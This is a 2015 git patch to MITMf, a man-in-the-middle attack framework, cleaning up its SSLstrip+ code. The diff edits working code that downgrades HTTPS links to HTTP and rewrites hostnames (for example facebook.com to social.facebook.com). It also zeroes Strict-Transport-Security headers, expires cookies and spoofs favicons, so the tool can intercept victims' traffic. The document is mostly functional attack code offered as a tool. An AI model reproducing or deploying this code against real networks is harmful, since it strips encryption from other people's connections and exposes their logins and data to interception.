From 2200edcf5e1b9b9257dcf327aec33a695bed66d2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 13 Mar 2015 15:00:29 +0100 Subject: [PATCH] - Cleaned up the SSLstrip+ code (somewhat) - ServerConnection now properly detects and removes HSTS headers - Fixed debug output --- config/mitmf.cfg | 1 - libs/sslstrip/ClientRequest.py | 116 ++++++++++----------------- libs/sslstrip/SSLServerConnection.py | 6 +- libs/sslstrip/ServerConnection.py | 26 +++--- libs/sslstrip/URLMonitor.py | 56 ++++--------- plugins/Spoof.py | 2 +- 6 files changed, 76 insertions(+), 131 deletions(-) diff --git a/config/mitmf.cfg b/config/mitmf.cfg index dee9d21..db80143 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -227,7 +227,6 @@ accounts.google.se = cuentas.google.se #for facebook - www.facebook.com = social.facebook.com facebook.com = social.facebook.com #-----------------------------------------------------------------------------------------------------------------------------------------# diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index dd22b00..9bf2ed3 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -57,14 +57,13 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() + #for k,v in headers.items(): + # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) + if 'accept-encoding' in headers: headers['accept-encoding'] == 'identity' logging.debug("Zapped encoding") - if 'strict-transport-security' in headers: #kill new hsts requests - del headers['strict-transport-security'] - logging.info("Zapped HSTS header") - if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -80,13 +79,16 @@ class ClientRequest(Request): if len(real) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - + if 'host' in headers: - host = self.urlMonitor.URLgetRealHost("%s" % headers['host']) - logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host)) - headers['host'] = host - headers['securelink'] = '1' - self.setHeader('Host',host) + host = self.urlMonitor.URLgetRealHost(headers['host']) + if host[1] is True: + logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'],host[0])) + headers['host'] = host[0] + headers['securelink'] = '1' + self.setHeader('Host',host[0]) + else: + logging.debug("[ClientRequest][HSTS] Passed on HOST header: %s " % headers['host']) self.plugins.hook() @@ -116,18 +118,14 @@ class ClientRequest(Request): headers = self.cleanHeaders() client = self.getClientIP() path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute - try: + if self.content: self.content.seek(0,0) - postData = self.content.read() - except: - pass + postData = self.content.read() if self.hsts: - - #Original code from SSLstrip+ - #Saying that this is unreadible is an understatement - #KILL IT WITH FIRE!! real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict @@ -136,67 +134,41 @@ class ClientRequest(Request): dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict)>0: + + if len(patchDict) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) - url = 'http://' + host + path + headers['content-length'] = "%d" % len(postData) - #self.dnsCache.cacheResolution(host, address) - hostparts = host.split(':') - self.dnsCache.cacheResolution(hostparts[0], address) + #self.dnsCache.cacheResolution(host, address) + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("LEO Sending request via HTTP...") - #self.proxyViaHTTP(address, self.method, path, postData, headers) - port = 80 - if len(hostparts) > 1: - port = int(hostparts[1]) + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + logging.debug("Sending expired cookies...") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif (self.urlMonitor.isSecureFavicon(client, path)): + logging.debug("Sending spoofed favicon response...") + self.sendSpoofedFaviconResponse() - self.proxyViaHTTP(address, self.method, path, postData, headers, port) + elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): + if 'securelink' in headers: + del headers['securelink'] + + logging.debug("Sending request via SSL...(%s %s)" % (client,url)) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - - url = 'http://' + host + path - self.uri = url # set URI to absolute + logging.debug("Sending request via HTTP...") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) - #self.dnsCache.cacheResolution(host, address) - hostparts = host.split(':') - self.dnsCache.cacheResolution(hostparts[0], address) - - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url)): - logging.debug("Sending request via SSL...") - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("Sending request via HTTP...") - #self.proxyViaHTTP(address, self.method, path, postData, headers) - port = 80 - if len(hostparts) > 1: - port = int(hostparts[1]) - - self.proxyViaHTTP(address, self.method, path, postData, headers, port) + self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): logging.warning("Host resolution error: " + str(error)) @@ -223,13 +195,13 @@ class ClientRequest(Request): real = self.urlMonitor.real if 'wwww' in host: - logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) + logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) host = host[1:] elif 'web' in host: - logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) + logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) host = host[3:] elif host in real: - logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) + logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) host = real[host] hostparts = host.split(':') diff --git a/libs/sslstrip/SSLServerConnection.py b/libs/sslstrip/SSLServerConnection.py index 85940f7..5eeab59 100644 --- a/libs/sslstrip/SSLServerConnection.py +++ b/libs/sslstrip/SSLServerConnection.py @@ -52,14 +52,14 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - logging.debug("LEO Parsing cookie domain parameter: %s"%v) + logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.sustitucion if dominio in real: v=" Domain=%s"%real[dominio] - logging.debug("LEO New cookie domain parameter: %s"%v) + logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) - + if (key.lower() == 'access-control-allow-origin'): value='*' diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index 0540511..43ae336 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -109,6 +109,8 @@ class ServerConnection(HTTPClient): self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): + logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) + if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -121,21 +123,22 @@ class ServerConnection(HTTPClient): if (value.find('gzip') != -1): logging.debug("Response is compressed...") self.isCompressed = True - - #if (key.lower() == 'strict-transport-security'): - # value = 'max-age=0' + + elif (key.lower()== 'strict-transport-security'): + value="max-age=0" + logging.info("Zapped a strict-trasport-security header") elif (key.lower() == 'content-length'): self.contentLength = value + elif (key.lower() == 'set-cookie'): self.client.responseHeaders.addRawHeader(key, value) + else: self.client.setHeader(key, value) self.plugins.hook() - logging.debug("Receiving header: (%s => %s)" % (key, value)) - def handleEndHeaders(self): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) @@ -185,12 +188,9 @@ class ServerConnection(HTTPClient): def replaceSecureLinks(self, data): if self.hsts: - #Original code from SSLstrip+ - #Saying that this is unreadible is an understatement - #KILL IT WITH FIRE!! - sustitucion = {} patchDict = self.urlMonitor.patchDict + if len(patchDict)>0: dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) @@ -199,9 +199,9 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - logging.debug("Found secure reference: " + url) + logging.debug("[ServerConnection] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) + logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) @@ -210,11 +210,11 @@ class ServerConnection(HTTPClient): dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - #logging.debug("LEO DEBUG received data:\n"+data) + #logging.debug("HSTS DEBUG received data:\n"+data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #if data.find("http://w.face")!=-1: - # logging.debug("LEO DEBUG Found error in modifications") + # logging.debug("HSTS DEBUG Found error in modifications") # raw_input("Press Enter to continue") #return re.sub(ServerConnection.urlType, 'http://web.', data) return data diff --git a/libs/sslstrip/URLMonitor.py b/libs/sslstrip/URLMonitor.py index b327a85..0d1a10c 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/libs/sslstrip/URLMonitor.py @@ -30,12 +30,12 @@ class URLMonitor: javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / real - patchDict = { - 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', - 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', - 'return"https:"':'return"http:"' - } + real = {} # LEO: diccionario host / real + patchDict = { + 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', + 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', + 'return"https:"':'return"http:"' + } def __init__(self): self.strippedURLs = set() @@ -52,32 +52,6 @@ class URLMonitor: return (client,url) in self.strippedURLs - def writeClientLog(self, client, headers, message): - ''' - This isn't used for now.. the point was to log every clients - data to a seperate file - - Don't see how useful it could be though - ''' - - if not os.path.exists("./logs"): - os.makedirs("./logs") - - if (client.getClientIP() + '.log') not in os.listdir("./logs"): - - try: - log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent']) - except KeyError: - log_message = "#Log file for %s\n" % client.getClientIP() - - log_file = open("./logs/" + client.getClientIP() + ".log", 'a') - log_file.write(log_message + message + "\n") - log_file.close() - else: - log_file = open("./logs/" + client.getClientIP() + ".log", 'a') - log_file.write(message + "\n") - log_file.close() - def getSecurePort(self, client, url): if (client,url) in self.strippedURLs: return self.strippedURLPorts[(client,url)] @@ -115,7 +89,6 @@ class URLMonitor: port = 443 if self.hsts: - #LEO: Sustituir HOST if not self.sustitucion.has_key(host): lhost = host[:4] if lhost=="www.": @@ -124,14 +97,15 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) + logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) url = 'http://' + host + path - #logging.debug("LEO stripped URL: %s %s"%(client, url)) + #logging.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+self.sustitucion[host]+path + + return 'http://'+ self.sustitucion[host] + path else: url = method + host + path @@ -167,13 +141,13 @@ class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self,host): - logging.debug("Parsing host: %s"%host) + logging.debug("[URLMonitor][HSTS]Parsing host: %s"%host) if self.real.has_key(host): - logging.debug("New host: %s"%self.real[host]) - return self.real[host] + logging.debug("[URLMonitor][HSTS]New host: %s"%self.real[host]) + return (self.real[host], True) else: - logging.debug("New host: %s"%host) - return host + logging.debug("[URLMonitor][HSTS]New host: %s"%host) + return (host, False) def getInstance(): if URLMonitor._instance == None: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 465a30a..eb74fe7 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -476,4 +476,4 @@ class _DNS(): payload.accept() except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) \ No newline at end of file + print "Exception occurred while modifying DNS: " + str(e)